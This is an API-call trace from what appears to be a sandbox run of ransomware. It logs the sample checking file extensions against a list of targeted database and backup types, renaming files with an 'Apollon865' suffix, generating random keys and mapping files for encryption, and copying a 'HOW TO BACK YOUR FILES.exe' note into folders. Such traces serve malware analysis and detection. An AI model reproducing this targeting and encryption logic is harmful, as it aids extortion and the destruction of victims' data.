	[0053.451] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0053.451] lstrlenW (lpString="mas") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0053.451] lstrlenW (lpString="mav") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0053.451] lstrlenW (lpString="maw") returned 3
	[0053.451] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0053.451] lstrlenW (lpString="mdbhtml") returned 7
	[0053.451] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0053.451] lstrlenW (lpString="mdn") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0053.452] lstrlenW (lpString="mdt") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0053.452] lstrlenW (lpString="mfd") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0053.452] lstrlenW (lpString="mpd") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0053.452] lstrlenW (lpString="mrg") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0053.452] lstrlenW (lpString="mud") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0053.452] lstrlenW (lpString="mwb") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0053.452] lstrlenW (lpString="myd") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0053.452] lstrlenW (lpString="ndf") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0053.452] lstrlenW (lpString="nnt") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0053.452] lstrlenW (lpString="nrmlib") returned 6
	[0053.452] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0053.452] lstrlenW (lpString="ns2") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0053.452] lstrlenW (lpString="ns3") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0053.452] lstrlenW (lpString="ns4") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0053.452] lstrlenW (lpString="nsf") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0053.452] lstrlenW (lpString="nv") returned 2
	[0053.452] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0053.452] lstrlenW (lpString="nv2") returned 3
	[0053.452] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0053.452] lstrlenW (lpString="nwdb") returned 4
	[0053.452] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0053.452] lstrlenW (lpString="nyf") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0053.453] lstrlenW (lpString="odb") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.453] lstrlenW (lpString="odb") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.453] lstrlenW (lpString="oqy") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0053.453] lstrlenW (lpString="ora") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0053.453] lstrlenW (lpString="orx") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0053.453] lstrlenW (lpString="owc") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0053.453] lstrlenW (lpString="p96") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0053.453] lstrlenW (lpString="p97") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0053.453] lstrlenW (lpString="pan") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0053.453] lstrlenW (lpString="pdb") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0053.453] lstrlenW (lpString="pdm") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0053.453] lstrlenW (lpString="pnz") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0053.453] lstrlenW (lpString="qry") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0053.453] lstrlenW (lpString="qvd") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0053.453] lstrlenW (lpString="rbf") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0053.453] lstrlenW (lpString="rctd") returned 4
	[0053.453] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0053.453] lstrlenW (lpString="rod") returned 3
	[0053.453] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0053.453] lstrlenW (lpString="rodx") returned 4
	[0053.454] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0053.454] lstrlenW (lpString="rpd") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0053.454] lstrlenW (lpString="rsd") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0053.454] lstrlenW (lpString="sas7bdat") returned 8
	[0053.454] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0053.454] lstrlenW (lpString="sbf") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0053.454] lstrlenW (lpString="scx") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0053.454] lstrlenW (lpString="sdb") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0053.454] lstrlenW (lpString="sdc") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0053.454] lstrlenW (lpString="sdf") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0053.454] lstrlenW (lpString="sis") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0053.454] lstrlenW (lpString="spq") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0053.454] lstrlenW (lpString="te") returned 2
	[0053.454] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0053.454] lstrlenW (lpString="teacher") returned 7
	[0053.454] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0053.454] lstrlenW (lpString="tmd") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0053.454] lstrlenW (lpString="tps") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0053.454] lstrlenW (lpString="trc") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.454] lstrlenW (lpString="trc") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.454] lstrlenW (lpString="trm") returned 3
	[0053.454] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0053.454] lstrlenW (lpString="udb") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0053.455] lstrlenW (lpString="udl") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0053.455] lstrlenW (lpString="usr") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0053.455] lstrlenW (lpString="v12") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0053.455] lstrlenW (lpString="vis") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0053.455] lstrlenW (lpString="vpd") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0053.455] lstrlenW (lpString="vvv") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0053.455] lstrlenW (lpString="wdb") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0053.455] lstrlenW (lpString="wmdb") returned 4
	[0053.455] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0053.455] lstrlenW (lpString="wrk") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0053.455] lstrlenW (lpString="xdb") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0053.455] lstrlenW (lpString="xld") returned 3
	[0053.455] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0053.455] lstrlenW (lpString="xmlff") returned 5
	[0053.455] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0053.455] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Downloads\\desktop.ini.Apollon865") returned 49
	[0053.455] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Downloads\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\downloads\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0053.456] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\downloads\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.456] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=282) returned 1
	[0053.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.456] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.457] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.457] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.457] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x150
	[0053.459] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000
	[0053.460] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.461] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.461] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.461] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.462] CloseHandle (hObject=0x150) returned 1
	[0053.462] CloseHandle (hObject=0x118) returned 1
	[0053.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.462] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3079b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3079b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.462] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.462] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3079b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3079b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.462] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0053.462] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0053.462] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Documents", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0053.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca1d0 | out: hHeap=0x580000) returned 1
	[0053.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0053.462] lstrlenW (lpString="C:\\Users\\Default\\Documents") returned 26
	[0053.462] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0053.462] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.463] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.463] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.463] GetLastError () returned 0x0
	[0053.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.463] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.463] CloseHandle (hObject=0x15c) returned 1
	[0053.463] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.463] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.463] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e080250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e080250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca1d0
	[0053.464] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.464] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.464] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.464] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e080250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e080250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.464] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.464] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.464] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.464] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.464] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0053.464] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0053.464] lstrlenW (lpString="desktop.ini") returned 11
	[0053.464] lstrlenW (lpString="C:\\Users\\Default\\Documents\\*") returned 28
	[0053.464] lstrcpyW (in: lpString1=0x119e63e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0053.464] lstrlenW (lpString="desktop.ini") returned 11
	[0053.464] lstrlenW (lpString="Apollon865") returned 10
	[0053.464] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0053.464] lstrlenW (lpString=".dll") returned 4
	[0053.465] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0053.465] lstrlenW (lpString=".lnk") returned 4
	[0053.465] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0053.465] lstrlenW (lpString=".ini") returned 4
	[0053.465] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0053.465] lstrlenW (lpString=".sys") returned 4
	[0053.465] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0053.465] lstrlenW (lpString="desktop.ini") returned 11
	[0053.465] lstrlenW (lpString="bak") returned 3
	[0053.465] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0053.465] lstrlenW (lpString="ba_") returned 3
	[0053.465] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0053.465] lstrlenW (lpString="dbb") returned 3
	[0053.465] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0053.465] lstrlenW (lpString="vmdk") returned 4
	[0053.465] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0053.465] lstrlenW (lpString="rar") returned 3
	[0053.465] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0053.465] lstrlenW (lpString="zip") returned 3
	[0053.465] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0053.465] lstrlenW (lpString="tgz") returned 3
	[0053.465] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0053.465] lstrlenW (lpString="vbox") returned 4
	[0053.465] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0053.465] lstrlenW (lpString="vdi") returned 3
	[0053.465] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0053.465] lstrlenW (lpString="vhd") returned 3
	[0053.465] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0053.465] lstrlenW (lpString="vhdx") returned 4
	[0053.465] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0053.465] lstrlenW (lpString="avhd") returned 4
	[0053.465] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0053.465] lstrlenW (lpString="db") returned 2
	[0053.465] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0053.465] lstrlenW (lpString="db2") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0053.466] lstrlenW (lpString="db3") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0053.466] lstrlenW (lpString="dbf") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0053.466] lstrlenW (lpString="mdf") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0053.466] lstrlenW (lpString="mdb") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0053.466] lstrlenW (lpString="sql") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0053.466] lstrlenW (lpString="sqlite") returned 6
	[0053.466] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0053.466] lstrlenW (lpString="sqlite3") returned 7
	[0053.466] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0053.466] lstrlenW (lpString="sqlitedb") returned 8
	[0053.466] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0053.466] lstrlenW (lpString="xml") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0053.466] lstrlenW (lpString="$er") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0053.466] lstrlenW (lpString="4dd") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0053.466] lstrlenW (lpString="4dl") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0053.466] lstrlenW (lpString="^^^") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0053.466] lstrlenW (lpString="abs") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0053.466] lstrlenW (lpString="abx") returned 3
	[0053.466] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0053.466] lstrlenW (lpString="accdb") returned 5
	[0053.466] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0053.466] lstrlenW (lpString="accdc") returned 5
	[0053.466] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0053.467] lstrlenW (lpString="accde") returned 5
	[0053.467] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0053.467] lstrlenW (lpString="accdr") returned 5
	[0053.467] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0053.467] lstrlenW (lpString="accdt") returned 5
	[0053.467] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0053.467] lstrlenW (lpString="accdw") returned 5
	[0053.467] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0053.467] lstrlenW (lpString="accft") returned 5
	[0053.467] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0053.467] lstrlenW (lpString="adb") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.467] lstrlenW (lpString="adb") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.467] lstrlenW (lpString="ade") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0053.467] lstrlenW (lpString="adf") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0053.467] lstrlenW (lpString="adn") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0053.467] lstrlenW (lpString="adp") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0053.467] lstrlenW (lpString="alf") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0053.467] lstrlenW (lpString="ask") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0053.467] lstrlenW (lpString="btr") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0053.467] lstrlenW (lpString="cat") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0053.467] lstrlenW (lpString="cdb") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0053.467] lstrlenW (lpString="ckp") returned 3
	[0053.467] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0053.468] lstrlenW (lpString="cma") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0053.468] lstrlenW (lpString="cpd") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0053.468] lstrlenW (lpString="dacpac") returned 6
	[0053.468] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0053.468] lstrlenW (lpString="dad") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0053.468] lstrlenW (lpString="dadiagrams") returned 10
	[0053.468] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0053.468] lstrlenW (lpString="daschema") returned 8
	[0053.468] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0053.468] lstrlenW (lpString="db-journal") returned 10
	[0053.468] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0053.468] lstrlenW (lpString="db-shm") returned 6
	[0053.468] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0053.468] lstrlenW (lpString="db-wal") returned 6
	[0053.468] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0053.468] lstrlenW (lpString="dbc") returned 3
